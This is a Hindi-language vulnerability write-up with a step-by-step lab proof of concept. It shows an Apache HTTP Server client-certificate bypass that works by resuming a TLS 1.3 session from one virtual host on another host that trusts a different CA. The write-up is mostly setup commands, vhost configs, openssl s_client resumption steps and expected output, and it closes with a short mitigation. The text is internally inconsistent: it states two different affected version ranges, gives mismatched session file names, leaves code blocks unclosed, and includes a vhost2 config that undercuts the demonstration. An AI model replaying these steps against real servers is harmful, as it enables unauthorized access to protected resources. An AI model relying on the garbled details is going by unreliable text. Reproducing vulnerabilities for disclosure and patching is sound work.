
Apache HTTP सर्वर संस्करण 2.4.35 – 2.4.63, अलग-अलग `SSLCACertificateFile` निर्देशों वाले वर्चुअल होस्ट्स में TLS 1.3 session resumption उपयोग किए जाने पर क्लाइंट प्रमाणपत्र प्रमाणीकरण बाईपास के प्रति संवेदनशील हैं।
Apache HTTP सर्वर संस्करण 2.4.35 – 2.4.62 क्लाइंट प्रमाणपत्र प्रमाणीकरण बायपास के प्रति संवेदनशील हैं, जब TLS 1.3 सत्र पुनरारंभ का उपयोग विभिन्न SSLCACertificateFile निर्देशों वाले वर्चुअल होस्ट में किया जाता है।
एक हमलावर जिसके पास एक वर्चुअल होस्ट के लिए वैध क्लाइंट प्रमाणपत्र है, वह किसी भिन्न वर्चुअल होस्ट पर TLS 1.3 सत्र को पुनरारंभ कर सकता है, जिसे किसी भिन्न CA द्वारा जारी प्रमाणपत्र की आवश्यकता होती है — जिससे संरक्षित संसाधनों तक अनधिकृत पहुंच प्राप्त होती है।
### 2. `conf\httpd.conf` में आवश्यक मॉड्यूल सक्षम करें
```apache
LoadModule socache_shmcb_module modules/mod_socache_shmcb.so
LoadModule ssl_module modules/mod_ssl.so
SSLSessionCache "shmcb:C:/Apache24/logs/ssl_scache(512000)"
SSLSessionCacheTimeout 300
SSLSessionTickets on
cd C:\Apache24\conf
mkdir ssl
cd ssl
# Server cert (self-signed)
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes -subj "/CN=localhost"
# CA1 and client cert for vhost1
openssl req -x509 -newkey rsa:2048 -keyout ca1.key -out ca1.pem -days 365 -nodes -subj "/CN=CA1"
openssl req -newkey rsa:2048 -keyout client_ca1.key -out client_ca1.csr -nodes -subj "/CN=Client1"
openssl x509 -req -in client_ca1.csr -CA ca1.pem -CAkey ca1.key -CAcreateserial -out client_ca1.crt -days 365
# CA2 for vhost2
openssl req -x509 -newkey rsa:2048 -keyout ca2.key -out ca2.pem -days 365 -nodes -subj "/CN=CA2"
# Cleanup
del client_ca1.csr *.srl
conf\extra\httpd-vhosts.conf)<VirtualHost *:443>
ServerName vhost1.example.com
DocumentRoot "C:/Apache24/htdocs/vhost1"
SSLEngine on
SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
SSLCACertificateFile "C:/Apache24/conf/ssl/ca1.pem"
SSLVerifyClient optional
SSLVerifyDepth 1
SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
SSLStrictSNIVHostCheck off
<Location />
Require ssl-verify-client
</Location>
</VirtualHost>
<VirtualHost *:443>
ServerName vhost2.example.com
DocumentRoot "C:/Apache24/htdocs/vhost2"
SSLEngine on
SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
SSLCACertificateFile "C:/Apache24/conf/ssl/ca2.pem"
SSLVerifyClient optional_no_ca
SSLVerifyDepth 1
SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
SSLStrictSNIVHostCheck off
<Location /restricted>
Require valid-user
</Location>
</VirtualHost>
mkdir C:\Apache24\htdocs\vhost1
echo <html><body>Vhost1: Accessible with CA1</body></html> > C:\Apache24\htdocs\vhost1\index.html
mkdir C:\Apache24\htdocs\vhost2\restricted
echo <html><body>Restricted: Vhost2 Secret!</body></html> > C:\Apache24\htdocs\vhost2\restricted\index.html
C:\Apache24\bin>httpd.exe -k install
C:\Apache24\bin>httpd.exe -k start
vhost1 के साथ पूर्ण हैंडशेक → सत्र सहेजेंopenssl s_client -servername vhost1.example.com -tls1_3 -cert "C:\Apache24\conf\ssl\client_ca1.crt" -key "C:\Apache24\conf\ssl\client_ca1.key" -CAfile "C:\Apache24\conf\ssl\server.crt" -sess_out session_v1.pem 127.0.0.1:443
कनेक्शन के बाद इनपुट:
GET / HTTP/1.1
Host: vhost1.example.com

अपेक्षित आउटपुट (संक्षिप्त):
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
...
Post-Handshake New Session Ticket arrived:
...
HTTP/1.1 200 OK
...
<html><body>Vhost1: Accessible with CA1</body></html>
सत्र टिकट
session_shared.pemमें सहेजा गया।
vhost2 पर सत्र पुनरारंभ करें → संरक्षित पथ तक पहुंचेंopenssl s_client -servername vhost2.example.com -tls1_3 -CAfile "C:\Apache24\conf\ssl\server.crt" -sess_in session_v1.pem 127.0.0.1:443
इनपुट:
GET /restricted/ HTTP/1.1
Host: vhost2.example.com
अपेक्षित आउटपुट (महत्वपूर्ण):
SSL-Session:
Protocol : TLSv1.3
Cipher : TLS_AES_256_GCM_SHA384
Resumption PSK: ...
TLS session ticket lifetime hint: 300 (seconds)
...
HTTP/1.1 200 OK
...
<html><body>Restricted: Vhost2 Secret!</body></html>

CA1 से क्लाइंट प्रमाणपत्र को vhost2 पर स्वीकार किया गया (जो केवल CA2 पर भरोसा करता है)
कोई पुनः प्रमाणीकरण नहीं हुआ — सत्र पुनरारंभ ने CA जांच को बायपास कर दिया
SSLStrictSNIVHostCheck on
सभी TLS 1.3 वर्चुअल होस्ट में जिन्हें अलग-अलग क्लाइंट CA की आवश्यकता होती है।
क्रॉस-SNI सत्र पुनरारंभ को अक्षम करता है — बायपास को रोकता है।